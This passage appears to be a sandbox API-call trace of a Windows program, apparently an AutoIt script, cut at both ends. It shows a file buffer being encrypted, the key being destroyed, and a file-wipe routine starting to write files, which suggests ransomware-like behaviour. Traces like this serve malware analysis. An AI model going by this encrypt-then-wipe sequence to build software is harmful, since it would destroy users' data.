lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.476] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.476] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.476] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.477] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.477] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.477] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.477] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.477] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.477] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.478] CryptGetKeyParam (in: hKey=0xe8f4062640, dwParam=0x7, pbData=0xe8f4064cc0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064cc0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.478] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.478] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.478] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.478] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.478] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.479] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.479] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x13971, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x13980) returned 1 [0028.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.479] CharLowerBuffW (in: lpsz="byte[80257]", cchLength=0xb | out: lpsz="byte[80257]") returned 0xb [0028.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.481] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.481] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.481] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.481] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.481] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43b4cb0*, pdwDataLen=0xe8f3dfdf68*=0x13971, dwBufLen=0x13980 | out: pbData=0xe8f43b4cb0*, pdwDataLen=0xe8f3dfdf68*=0x13980) returned 1 [0028.481] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.482] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.482] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.482] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.482] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.482] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.482] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.482] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.482] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.482] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.482] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.487] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.487] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.487] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.489] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.489] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.489] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.489] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.489] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.489] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.489] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.489] CryptDestroyKey (hKey=0xe8f4062640) returned 1 [0028.489] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.489] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.489] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.489] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.489] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.489] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.489] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.489] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.489] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.489] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.489] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.489] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.490] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.490] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.490] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.490] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.490] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.490] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.490] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.490] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.490] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.490] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.490] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.490] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.490] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.490] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.490] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.490] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.490] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.490] CryptReleaseContext (hProv=0xe8f419a0a0, dwFlags=0x0) returned 1 [0028.490] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.490] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.490] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.490] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.490] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.490] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.490] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.492] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.493] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.493] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.493] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.493] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.494] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.494] CharLowerBuffW (in: lpsz="byte[80241]", cchLength=0xb | out: lpsz="byte[80241]") returned 0xb [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.495] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.495] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.495] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.495] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.496] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.496] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.496] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.496] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.496] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.496] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.496] PeekMessageW (in: 